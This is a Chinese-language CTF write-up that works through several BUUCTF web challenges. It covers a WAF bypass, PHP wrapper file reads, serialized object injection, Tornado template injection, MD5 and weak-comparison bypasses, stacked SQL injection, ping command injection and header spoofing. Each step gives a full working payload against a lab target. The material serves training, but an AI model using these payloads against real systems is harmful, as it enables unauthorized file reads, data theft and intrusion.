题目均来自 BUUCTF
进入靶场看一下
页面大致分析完毕,没什么关键点,查看一下页面代码
提示有 waf
在 num 参数前加一个空格来绕过:
为什么要 num 参数前加一个空格,是为了绕过waf,在请求传递到waf层的时候,waf会检测 num 变量,当 num 前面加一个空格时,目标变量会找不到。waf 中(空格num!=num)。这样就可以绕过 waf 检测。
而在 php 中,会把空格过自动过滤掉,从而将 空格num 转成 num 变量。
什么是 waf:
简单来说waf就是防火墙,用来保护网页信息,它对其中一种恶意注入方式sql注入的防护方式如下:
1、严格限制Web应用的数据库的操作权限,给此用户提供仅仅能够满足其工作的最低权限,从而最大限度的减少注入攻击对数据库的危害。
2、检查输入的数据是否具有所期望的数据格式,严格限制变量的类型,例如使用regexp包进行一些匹配处理,或者使用strconv包对字符串转化成其他基本类型的数据进行判断。
3、对进入数据库的特殊字符('"\尖括号&*;等)进行转义处理,或编码转换。Go 的text/template包里面的HTMLEscapeString函数可以对字符串进行转义处理。
4、所有的查询语句建议使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中,即不要直接拼接SQL语句。例如使用database/sql里面的查询函数Prepare和Query,或者Exec(query string, args ...interface{})。
5、在应用发布之前建议使用专业的SQL注入检测工具进行检测,以及时修补被发现的SQL注入漏洞。网上有很多这方面的开源工具,例如sqlmap、SQLninja等。
【该内容截取自:BUUCTF -Web -[RoarCTF 2019]Easy Calc1 writeup_[roarctf 2019]easy calc write up-CSDN博客】
该题的 num 被做了限制,只能输入数字,其他字符不行(waf 对变量 num 进行了检测)
但是加了空格后就可以输出字符了,原因也如上面说的那样,加了空格就变成 空格num 了与原先的 num 并不同,waf 无法识别出来 (原理:利用php字符串解析漏洞来强行绕过waf的防护规则。)
这里推荐给大家一篇文章
利用PHP的字符串解析特性Bypass - FreeBuf网络安全行业门户
接着分析,发现可疑文件 calc.php,去看看这个文件
字符串过滤,空格、"、` 等包括一些转义字符均被过滤了。
因为 / 被过滤了,所以无法查看文件的更目录,我们可以用编码的方式绕过
scandir(chr(47)) ,/ 在 ASCII 表中对应的十进制值就是 47
用 var_dump() 函数来查看
payload:calc.php? num=var_dump(scandir(chr(47)))
发现 f1agg 文件,由于本题并没有对该名字进行过滤,所以直接写即可
payload:calc.php? num=var_dump(file_get_contents(chr(47).f1agg))
等价于:var_dump(file_get_contents("/flagg"))
考点:文件包含漏洞 + PHP伪协议 + 代码审计
进入靶场后的界面
大致分析代码
preg_match:执行匹配正则表达式,整体意思是过滤 flag
第一个 if 的作用是从文件中读取字符串赋值到 $text 中,并且要全等于 welcome to the zjctf
这里不能直接 text=welcome to the zjctf ,会被 file_get_contents 过滤掉,需要绕过,我们可以用伪协议:data://text/plain 来绕过
构造 payload (伪协议:data://text/plain )
?text=data://text/plain,welcome to the zjctf
这一步只是判断是否绕过了,如图所示就表示成功绕过了
代码里面提示了 useless.php ,使用 PHP 伪协议来读取该文件
构造 payload (伪协议:php://filter/ )
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
解析:之所以要加这一段 “ data://text/plain,welcome to the zjctf ”,是为了满足第一个条件语句,一个条件满足了才能进入执行体获取到文件信息
完整如下
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
这是 base64 加密过的密文,解码后得到
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
发现敏感信息:flag.php 可能 flag 就藏着该文件里面。
这是一个类,类名为 Flag,回顾前面,在引入 useless.php 后,将 password 变量进行反序列化然后输出
注意:反序列化时会调用 useless.php 中的 __tostring 方法,将 file 变量所指向的文件进行读取,然后赋给新的 password 变量,最后输出
关键就是构造序列化的内容使得其反序列化后为flag.php,直接在useless.php中为file变量进行赋值,然后创建对象进行序列化输出
接下来就是看了大佬的 wp 才做出来的
把 flag.php 赋值给 $file,在创建一个对象,对对象进行序列化
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
//serialize() 序列化函数
serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。
代码里的 _tostring() 就是魔术方法
URL:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看页面代码
flag{20445dd6-7749-485f-a493-1fc4d1e8adc0}
序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。
反序列化是将字符串转换成变量或对象的过程
考点:模版注入
进入靶场
分别浏览三个文件
flag 在 /fllllllllllllag 里面,切 URL 多了两个参数:filename 和 filehash
百度后了解到 render 是一个渲染函数,在根据题目提示 Tornado,百度后了解到 Tornado 是一种框架,大概可以知道本题要用模版注入了
百度了解了什么是模版注入
原理
render 是 python 中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对 render 内容可控,不仅可以注入XSS代码,而且还可以通过{{ }}进行传递变量和执行简单的表达式。(render 配合 tornado 使用)
md5(cookie_secret+md5(filename)) 这个应该是访问到 flag 的关键
解题步骤:
把 /fllllllllllllag 赋给 filename 试试看
发现 url 变了,页面回显 Error ,和 msg 的值一样,那我们该 msg 的值看看结果
按照模版注入的原理,在字符串后面加上 {{任意内容}} 看看效果
发现 {{}} 里的内容也被输出了
参考官方文档,发现 tornado 存在附属文件 handler.settings,访问看看
c4ee07c1-bb7b-49ba-8216-65f5885e66f8
这个应该就是 md5(cookie_secret+md5(filename)) 里面要的 cookie_secret 了 filename 我们知道了是: /fllllllllllllag
对 /fllllllllllllag 进行 MD5 加密(注意:是 32位 小写)
然后对 c4ee07c1-bb7b-49ba-8216-65f5885e66f83bf9f6cf685a6dd8defadabfb41a03a1 进行 MD5 加密
修改 URL ,filename=/fllllllllllllag ;filehash=335a9250cb7e71cf7c5caab658898bf7
flag{5a4f4425-bea6-405b-b1e5-523342805fcc}
考点:MD5() 函数特点 + 弱比较绕过
进入靶场
查看网页源代码
分析代码:
第一个条件:MD5有个特点,传入数组时返回 NULL。
原因:MD5() 函数无法处理数组,如果传入的为数组,会返回 NULL,所以两个数组经过加密后得到的都是 NULL ,也就是相等的。
所以只要构造 id 和 gg 为数组并给他们赋不同值即可满足条件
id[]=1&gg[]=2
第二第三个条件:弱比较绕过,在 PHP 中满足 1234567 == 1234567a,而 1234567a 会让 is_numeric() 返回 false 同时也满足 passwd=1234567
得到 flag
flag{756742c0-f8a4-48c3-9d7b-359fa719c53b}
【注意 Max HackBar 在其他浏览器是需要下载的比较麻烦,用火狐就比较方便,直接在拓展组件里下载就好了,很快】
拓展:
【图片内容来自md5值相同,但未计算md5的值不同的绕过_两个md5值相同的字符串-CSDN博客】
考点:文件包含漏洞
进入靶场
进入 tips 看看
题目说了 include 那本题考察的应该是文件包含漏洞,使用 PHP伪协议 来读取文件内容
构造 payload :php://filter/
file=php://filter/read=convert.base64-encode/resource=flag.php
base64解码得到
flag{d4646985-5e43-41e9-8f5c-fa3d70196406}
考点:堆叠注入 + 关键字绕过
进入靶场
谁便输入 1 试试看
尝试万能语句:1' or 1=1#
发现所有表都被爆出来了
输入 1' order by 2# 有正常返回
发现一些关键字被过滤了
大小写和双写都无法绕过,那么就可以尝试堆叠注入
解题方法:
第一步:爆破数据库名
1';show databases;#
第二步:爆破数据库表格名
发现有个表格名为:FlagHere 很可能里面就有 flag
第三步:查看表格结构
';desc FlagHere;#
第四步:查看字段内容
正常来说,堆叠注入查看字段值“ ';select flag from FlagHere; ”,但是 select 被过滤了,需要想办法绕过
如果 prepare 没被过滤的话就可以用预编译方法拼接字符串
';PREPARE ABC from concat('s','elect', ' * from FlagHere ');EXECUTE ABC;#
解决方法:
通过 HANDLER 来查看
HANDLER不是通用的SQL语句,是 Mysql 特有的,可以逐行浏览某个表中的数据
格式:
- 打开表:
HANDLER 表名 OPEN ;
- 查看数据:
HANDLER 表名 READ next;
- 关闭表:
HANDLER 表名 READ CLOSE;
';HANDLER FlagHere OPEN;HANDLER FlagHere READ NEXT;HANDLER FlagHere CLOSE;
flag{7f7f92f4-cff2-41b8-b107-541084b9829a}
考点:命令注入
进入靶场
一般这种 ping 的输入框都是考察命令注入
谁便输入一个 1 试试
再试试一些 cmd 中常用的命令,看看有没有被过滤掉
;ls
;cat index.php
看一下该文件
应该是该页面的源代码吧
我们看看其他级的目录内容
【注意:cd .. 表示返回上一级目录】
一直返回了三级目录才发现可疑文件 flag,我们使用 cat 命令来读取文件内容
;cd ../../../;cat flag
flag{b9ef7f1a-34fc-468f-8c69-d9af9428140d}
考点:抓包 + 代码审计 + 文件包含漏洞
进入靶场
查看源代码
去这个页面看看
进去后
上面的页面源代码也没有敏感信息,所以我们考虑抓包,就抓按钮那个
发现一个被注释掉的文件,我们看看该文件( secr3t.php )
发现敏感信息,直接查看该文件是看不到有用信息的
试试用 PHP伪协议 来读取文件内容(?file=php://filter/)
?file=php://filter/read=convert.base64-encode/resource=flag.php
拓展:
在 URL(统一资源定位符)中,问号 ? 是用来分隔 URL 的基本地址和查询参数的标记符号。 问号后面的部分称为查询字符串(query string),用于向服务器传递参数。
查询字符串由多个键值对组成,每个键值对之间使用 & 符号分隔。
完整:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7NzE0NWZjOWItMDNkNy00Y2JjLWI3ODgtZjkyYzA4MWEyNjZkfSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
一看就是 base64 编码过的,解码后
FLAG
啊哈!你找到我了!可是你看不到我QAQ~~~
flag{7145fc9b-03d7-4cbc-b788-f92c081a266d}
考点:伪造Referer请求 + X-Forwarded-For
进入靶场
找不到敏感信息,我们看一下源代码
发现有个文件 Secret.php ,进去看看
访问一下那个网站
发现访问不了,我们换 Burp 抓包试试
点击发送给 Repeater 后,来到重发器处,直接点击发送(Repeater 就是重发器的意思)
发送后看响应
找到源代码里的 Secret.php ,把它加在 http 头后面,再点击发送
在请求处添加
Referer:https://Sycsecret.buuoj.cn
这里是个特殊点,Referer必须得在Connection上方,在其他位置无法发送成功请求。
看响应
响应源码里出现:请使用 “Syclover” (意为让来自一个名为Syclover的浏览器。),那我们就修改浏览器
回显处的意思是:不!!!您只能在本地阅读此内容!!,添加 X-Forward-For 和 本地回环地址 就可以实现在本地访问
最终得到 flag,flag是不同的,大家按照方法来找就可以了
关于X-Forward-For的官方文档
X-Forwarded-For - HTTP | MDN (mozilla.org)
一般的ctf题对 X-Forwarded-For 的考点是 只能由本地访问,就会用到 X-Forwarded-For。
就必须在HTTP请求里加上 X-Forwarded-For: 127.0.0.1, 或者题目给定的 IP 地址
部分知识点总结:
Referer
HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。Referer 常用在防盗链和防恶意请求中。Referer是 HTTP请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer。比如我在www.sojson.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:
Referer=https://www.sojson.com
User-Agent
中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及浏览器版本、浏览器渲染引擎、浏览器语言、浏览器插件等。一些网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示,但通过伪装 UA 可以绕过检测。
下面链接也是和使用 X-Forward-For 有关的题目集合,大家可以举一反三
X-Forwarded-For 在 CTF 中的使用-CSDN博客
进入靶场
其实这个页面没什么,我们看一下源代码
发现可疑文件,进去看看
给大家翻译一下
查看源代码,发现 PHP 代码
意思就是,传值给 password,值为 404 ,但是第二个条件用了 is_numeric() 函数,这个函数的作用就是,输入的值为数字或数字字符串则返回 true ,否则返回 false,但是在 else if 中用了弱比较,我们可以利用弱比较绕过 is_numeric() ,直接传值 404a 即可,PHP 弱比较中 404a == 404,当然了,不一定是 a ,其他字符也可以。
抓包
这个 CUIT 的学生应该就是和 user 有关的吧
改成 1 就可以了,然后在底部传参就可以了,题目要求要 100000000 money
做的时候 money=100000000 直接这样写会提示数字过长,需要改成 money=1e9 (科学计数法表示)
对于 burp 的使用大家应该都会,下面我讲的是不用 burp 就用浏览器自带的检查系统来做(火狐浏览器,其他的也行,我只是举个例子)
先把 user 改成 1
这样就成功了,接下来传参
得到 flag ,工具直接在拓展组件那里下载就好了